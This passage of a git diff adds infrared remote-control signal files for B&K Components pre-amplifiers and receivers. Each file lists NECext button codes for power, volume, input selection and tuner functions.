05 01 00 00 +command: 02 00 00 00 +# +name: Z2 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 03 00 00 00 +# +name: A/V_PRESET_1 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 04 00 00 00 +# +name: A/V_PRESET_2 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 05 00 00 00 +# +name: A/V_PRESET_3 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 06 00 00 00 +# +name: A/V_PRESET_4 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 07 00 00 00 +# +name: A/V_PRESET_6 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 09 00 00 00 +# +name: BALANCE_> +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 0A 00 00 00 +# +name: BALANCE_< +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 0B 00 00 00 +# +name: V_(MENU) +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 0C 00 00 00 +# +name: ^_(MENU) +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 0D 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 0E 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 0F 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 10 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 11 00 00 00 +# +name: A/V_PRESET_7 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 12 00 00 00 +# +name: A/V_PRESET_8 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 13 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 14 00 00 00 +# +name: REVIEW +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 15 00 00 00 +# +name: V2 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 16 00 00 00 +# +name: FX +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 18 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 19 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 1A 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 1B 00 00 00 +# +name: VLD +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 1C 00 00 00 +# +name: V1 +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 1D 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 1E 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/6,1.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/6,1.ir new file mode 100644 index 000000000..179b73d5d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/6,1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: SAVE +type: parsed +protocol: NECext +address: 06 01 00 00 +command: 00 00 00 00 +# +name: CTRL +type: parsed +protocol: NECext +address: 06 01 00 00 +command: 01 00 00 00 +# +name: Z1 +type: parsed +protocol: NECext +address: 06 01 00 00 +command: 02 00 00 00 +# +name: Z2 +type: parsed +protocol: NECext +address: 06 01 00 00 +command: 03 00 00 00 +# +name: A/V_PRESET_1 +type: parsed +protocol: NECext +address: 06 01 00 00 +command: 04 00 00 00 +# +name: A/V_PRESET_2 +type: parsed +protocol: NECext +address: 06 01 00 00 +command: 05 00 00 00 +# +name: A/V_PRESET_3 +type: parsed +protocol: NECext +address: 06 01 00 00 +command: 06 00 00 00 +# +name: A/V_PRESET_4 +type: parsed +protocol: NECext +address: 06 01 00 00 +command: 07 00 00 00 +# +name: A/V_PRESET_5 +type: parsed +protocol: NECext +address: 06 01 00 00 +command: 08 00 00 00 +# +name: A/V_PRESET_6 +type: parsed +protocol: NECext +address: 06 01 00 00 +command: 09 00 00 00 +# +name: BALANCE_> +type: parsed +protocol: NECext +address: 06 01 00 00 +command: 0A 00 00 00 +# +name: BALANCE_< +type: parsed +protocol: NECext +address: 06 01 00 00 +command: 0B 00 00 00 +# +name: V_(MENU) +type: parsed +protocol: NECext +address: 06 01 00 00 +command: 0C 00 00 00 +# +name: ^_(MENU) +type: parsed +protocol: NECext +address: 06 01 00 00 +command: 0D 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 06 01 00 00 +command: 0E 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 06 01 00 00 +command: 0F 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 06 01 00 00 +command: 10 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 06 01 00 00 +command: 11 00 00 00 +# +name: A/V_PRESET_8 +type: parsed +protocol: NECext +address: 06 01 00 00 +command: 13 00 00 00 +# +name: V2 +type: parsed +protocol: NECext +address: 06 01 00 00 +command: 16 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 06 01 00 00 +command: 17 00 00 00 +# +name: FX +type: parsed +protocol: NECext +address: 06 01 00 00 +command: 18 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 06 01 00 00 +command: 19 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 06 01 00 00 +command: 1A 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 06 01 00 00 +command: 1B 00 00 00 +# +name: VLD +type: parsed +protocol: NECext +address: 06 01 00 00 +command: 1C 00 00 00 +# +name: V1 +type: parsed +protocol: NECext +address: 06 01 00 00 +command: 1D 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 06 01 00 00 +command: 1E 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 06 01 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Receiver/139,71.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Receiver/139,71.ir new file mode 100644 index 000000000..8a6f02d42 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Receiver/139,71.ir @@ -0,0 +1,398 @@ +Filetype: IR signals file +Version: 1 +# +name: BK003_POWER_OFF +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 01 00 00 00 +# +name: BK003_POWER_ON +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 02 00 00 00 +# +name: BK003_MUTE +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 03 00 00 00 +# +name: BK003_V1 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 05 00 00 00 +# +name: BK003_TV +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 06 00 00 00 +# +name: BK003_V2 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 09 00 00 00 +# +name: BK003_TAPE +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 0B 00 00 00 +# +name: BK003_DVD +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 0D 00 00 00 +# +name: BK003_CD +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 0F 00 00 00 +# +name: BK003_CENTER- +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 15 00 00 00 +# +name: BK003_CENTER+ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 16 00 00 00 +# +name: BK003_REAR- +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 19 00 00 00 +# +name: BK003_REAR+ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 1A 00 00 00 +# +name: BK003_SUB- +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 1D 00 00 00 +# +name: BK003_SUB+ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 1E 00 00 00 +# +name: BK003_LEFT +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 1F 00 00 00 +# +name: BK003_RIGHT +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 20 00 00 00 +# +name: BK003_VOLUME- +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 23 00 00 00 +# +name: BK003_VOLUME+ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 24 00 00 00 +# +name: BK003_NUMBER_+10 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 29 00 00 00 +# +name: BK003_EQ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 2A 00 00 00 +# +name: BK003_DVD-AUDIO +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 2B 00 00 00 +# +name: BK003_DOWN +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 2D 00 00 00 +# +name: BK003_UP +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 2E 00 00 00 +# +name: BK003_MENU +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 2F 00 00 00 +# +name: BK003_ENTER/SELECT +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 30 00 00 00 +# +name: BK003_NUMBER_1 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 31 00 00 00 +# +name: BK003_NUMBER_2 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 32 00 00 00 +# +name: BK003_NUMBER_3 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 33 00 00 00 +# +name: BK003_NUMBER_4 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 35 00 00 00 +# +name: BK003_NUMBER_5 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 36 00 00 00 +# +name: BK003_NUMBER_6 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 37 00 00 00 +# +name: BK003_NUMBER_7 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 39 00 00 00 +# +name: BK003_NUMBER_8 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 3A 00 00 00 +# +name: BK003_NUMBER_9 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 3B 00 00 00 +# +name: BK003_NUMBER_0 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 3E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 3E 00 00 00 +# +name: BK003_Z +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 3F 00 00 00 +# +name: BK003_SAVE +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 40 00 00 00 +# +name: BK003_SAT +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 4A 00 00 00 +# +name: BK003_PRESET+ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 4B 00 00 00 +# +name: BK003_PANORAMA+ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 4E 00 00 00 +# +name: BK003_INFO +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 53 00 00 00 +# +name: BK003_BASS- +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 65 00 00 00 +# +name: BK003_GAME +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 6A 00 00 00 +# +name: BK003_MOVIE +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 72 00 00 00 +# +name: BK003_AM +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 76 00 00 00 +# +name: BK003_TREBLE- +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 79 00 00 00 +# +name: BK003_EXIT +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 7D 00 00 00 +# +name: BK003_DIMENSION+ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 81 00 00 00 +# +name: BK003_CINEMA +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 8A 00 00 00 +# +name: BK003_FM +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 8E 00 00 00 +# +name: BK003_MONO +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 9A 00 00 00 +# +name: BK003_IMAGE+ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: 9E 00 00 00 +# +name: BK003_NEO:6 +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: AA 00 00 00 +# +name: BK003_MUSIC +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: B2 00 00 00 +# +name: BK003_SLEEP +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: B3 00 00 00 +# +name: BK003_PRESET- +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: C6 00 00 00 +# +name: BK003_SURROUND +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: CA 00 00 00 +# +name: BK003_PANORAMA- +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: CE 00 00 00 +# +name: BK003_STEREO +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: E2 00 00 00 +# +name: BK003_BASS+ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: E5 00 00 00 +# +name: BK003_PRO_LOGIC_IIX +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: EA 00 00 00 +# +name: BK003_IMAGE- +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: EE 00 00 00 +# +name: BK003_TREBLE+ +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: F9 00 00 00 +# +name: BK003_DIMENSION- +type: parsed +protocol: NECext +address: 8B 47 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Receiver/203,67.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Receiver/203,67.ir new file mode 100644 index 000000000..a27dc9923 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Receiver/203,67.ir @@ -0,0 +1,392 @@ +Filetype: IR signals file +Version: 1 +# +name: BK005_POWER_OFF +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 01 00 00 00 +# +name: BK005_POWER_ON +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 02 00 00 00 +# +name: BK005_MUTE +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 03 00 00 00 +# +name: BK005_V1 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 05 00 00 00 +# +name: BK005_TV +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 06 00 00 00 +# +name: BK005_V2 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 09 00 00 00 +# +name: BK005_TAPE +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 0B 00 00 00 +# +name: BK005_DVD +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 0D 00 00 00 +# +name: BK005_CD +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 0F 00 00 00 +# +name: BK005_CENTER- +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 15 00 00 00 +# +name: BK005_CENTER+ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 16 00 00 00 +# +name: BK005_REAR- +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 19 00 00 00 +# +name: BK005_REAR+ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 1A 00 00 00 +# +name: BK005_SUB- +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 1D 00 00 00 +# +name: BK005_SUB+ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 1E 00 00 00 +# +name: BK005_LEFT +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 1F 00 00 00 +# +name: BK005_RIGHT +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 20 00 00 00 +# +name: BK005_VOLUME- +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 23 00 00 00 +# +name: BK005_VOLUME+ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 24 00 00 00 +# +name: BK005_NUMBER_+10 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 29 00 00 00 +# +name: BK005_EQ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 2A 00 00 00 +# +name: BK005_DVD-AUDIO +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 2B 00 00 00 +# +name: BK005_DOWN +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 2D 00 00 00 +# +name: BK005_UP +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 2E 00 00 00 +# +name: BK005_MENU +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 2F 00 00 00 +# +name: BK005_ENTER/SELECT +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 30 00 00 00 +# +name: BK005_NUMBER_1 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 31 00 00 00 +# +name: BK005_NUMBER_2 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 32 00 00 00 +# +name: BK005_NUMBER_3 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 33 00 00 00 +# +name: BK005_NUMBER_4 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 35 00 00 00 +# +name: BK005_NUMBER_5 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 36 00 00 00 +# +name: BK005_NUMBER_6 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 37 00 00 00 +# +name: BK005_NUMBER_7 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 39 00 00 00 +# +name: BK005_NUMBER_8 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 3A 00 00 00 +# +name: BK005_NUMBER_9 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 3B 00 00 00 +# +name: BK005_NUMBER_0 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 3E 00 00 00 +# +name: BK005_Z +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 3F 00 00 00 +# +name: BK005_SAVE +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 40 00 00 00 +# +name: BK005_SAT +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 4A 00 00 00 +# +name: BK005_PRESET+ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 4B 00 00 00 +# +name: BK005_PANORAMA+ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 4E 00 00 00 +# +name: BK005_INFO +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 53 00 00 00 +# +name: BK005_BASS- +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 65 00 00 00 +# +name: BK005_GAME +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 6A 00 00 00 +# +name: BK005_MOVIE +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 72 00 00 00 +# +name: BK005_AM +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 76 00 00 00 +# +name: BK005_TREBLE- +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 79 00 00 00 +# +name: BK005_EXIT +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 7D 00 00 00 +# +name: BK005_DIMENSION+ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 81 00 00 00 +# +name: BK005_CINEMA +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 8A 00 00 00 +# +name: BK005_FM +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 8E 00 00 00 +# +name: BK005_MONO +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 9A 00 00 00 +# +name: BK005_IMAGE+ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: 9E 00 00 00 +# +name: BK005_NEO:6 +type: parsed +protocol: NECext +address: CB 43 00 00 +command: AA 00 00 00 +# +name: BK005_MUSIC +type: parsed +protocol: NECext +address: CB 43 00 00 +command: B2 00 00 00 +# +name: BK005_SLEEP +type: parsed +protocol: NECext +address: CB 43 00 00 +command: B3 00 00 00 +# +name: BK005_PRESET- +type: parsed +protocol: NECext +address: CB 43 00 00 +command: C6 00 00 00 +# +name: BK005_SURROUND +type: parsed +protocol: NECext +address: CB 43 00 00 +command: CA 00 00 00 +# +name: BK005_PANORAMA- +type: parsed +protocol: NECext +address: CB 43 00 00 +command: CE 00 00 00 +# +name: BK005_STEREO +type: parsed +protocol: NECext +address: CB 43 00 00 +command: E2 00 00 00 +# +name: BK005_BASS+ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: E5 00 00 00 +# +name: BK005_PRO_LOGIC_IIX +type: parsed +protocol: NECext +address: CB 43 00 00 +command: EA 00 00 00 +# +name: BK005_IMAGE- +type: parsed +protocol: NECext +address: CB 43 00 00 +command: EE 00 00 00 +# +name: BK005_TREBLE+ +type: parsed +protocol: NECext +address: CB 43 00 00 +command: F9 00 00 00 +# +name: BK005_DIMENSION- +type: parsed +protocol: NECext +address: CB 43 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Receiver/27,78.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Receiver/27,78.ir new file mode 100644 index 000000000..37716e77b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Receiver/27,78.ir @@ -0,0 +1,1766 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 01 00 00 00 +# +name: BK001_POWER_OFF +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 01 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 01 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 02 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 02 00 00 00 +# +name: BK001_POWER_ON +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 02 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 03 00 00 00 +# +name: 00_MUTE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 03 00 00 00 +# +name: BK001_MUTE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 03 00 00 00 +# +name: V1 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 05 00 00 00 +# +name: V_1 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 05 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 05 00 00 00 +# +name: BK001_V1 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 05 00 00 00 +# +name: INPUT_V1 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 05 00 00 00 +# +name: SOURCE_IN_1 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 05 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 06 00 00 00 +# +name: BK001_TV +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 06 00 00 00 +# +name: INPUT_TV +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 06 00 00 00 +# +name: SOURCE_IN_3 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 06 00 00 00 +# +name: SOURCE_IN_8 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 07 00 00 00 +# +name: V2 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 09 00 00 00 +# +name: V_2 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 09 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 09 00 00 00 +# +name: BK001_V2 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 09 00 00 00 +# +name: INPUT_V2 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 09 00 00 00 +# +name: SOURCE_IN_2 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 09 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0B 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0B 00 00 00 +# +name: BK001_TAPE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0B 00 00 00 +# +name: INPUT_TAPE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0B 00 00 00 +# +name: SOURCE_IN_7 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0B 00 00 00 +# +name: VIDEO_HUE- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0C 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0D 00 00 00 +# +name: BK001_DVD +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0D 00 00 00 +# +name: INPUT_DVD +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0D 00 00 00 +# +name: SOURCE_IN_4 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0D 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0E 00 00 00 +# +name: INPUT_TUNER +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0E 00 00 00 +# +name: SOURCE_TUNER +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0E 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0F 00 00 00 +# +name: BK001_CD +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0F 00 00 00 +# +name: INPUT_CD +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0F 00 00 00 +# +name: SOURCE_IN_5 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 0F 00 00 00 +# +name: VIDEO_RECORD +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 10 00 00 00 +# +name: VIDEO_ZOOM_ASPECT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 11 00 00 00 +# +name: TUNER_FREQ_DIRECT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 12 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 13 00 00 00 +# +name: TUNER_BAND_TOGGLE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 13 00 00 00 +# +name: VIDEO_FORMAT_EDID +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 14 00 00 00 +# +name: CENTER_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 15 00 00 00 +# +name: CENTER_-- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 15 00 00 00 +# +name: CNTR_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 15 00 00 00 +# +name: BK001_CENTER- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 15 00 00 00 +# +name: CENTER_DOWN +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 15 00 00 00 +# +name: AUDIO_CENTER- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 15 00 00 00 +# +name: CENTER_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 16 00 00 00 +# +name: CNTR_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 16 00 00 00 +# +name: BK001_CENTER+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 16 00 00 00 +# +name: CENTER_UP +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 16 00 00 00 +# +name: AUDIO_CENTER+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 16 00 00 00 +# +name: PRESET_DOWN +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 17 00 00 00 +# +name: TUNER_STATION- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 17 00 00 00 +# +name: PRESET_UP +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 18 00 00 00 +# +name: TUNER_STATION+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 18 00 00 00 +# +name: REAR_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 19 00 00 00 +# +name: BK001_REAR- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 19 00 00 00 +# +name: REAR_DOWN +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 19 00 00 00 +# +name: AUDIO_REAR- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 19 00 00 00 +# +name: REAR_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1A 00 00 00 +# +name: BK001_REAR+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1A 00 00 00 +# +name: REAR_UP +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1A 00 00 00 +# +name: AUDIO_REAR+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1A 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1B 00 00 00 +# +name: TUNER_TUNE- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1B 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1C 00 00 00 +# +name: TUNER_TUNE+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1C 00 00 00 +# +name: SUB_- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1D 00 00 00 +# +name: BK001_SUB- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1D 00 00 00 +# +name: SUB_DOWN +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1D 00 00 00 +# +name: AUDIO_SUB- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1D 00 00 00 +# +name: SUB_+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1E 00 00 00 +# +name: BK001_SUB+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 1E 00 00 00 +# +name: SUB_UP +type: parsed 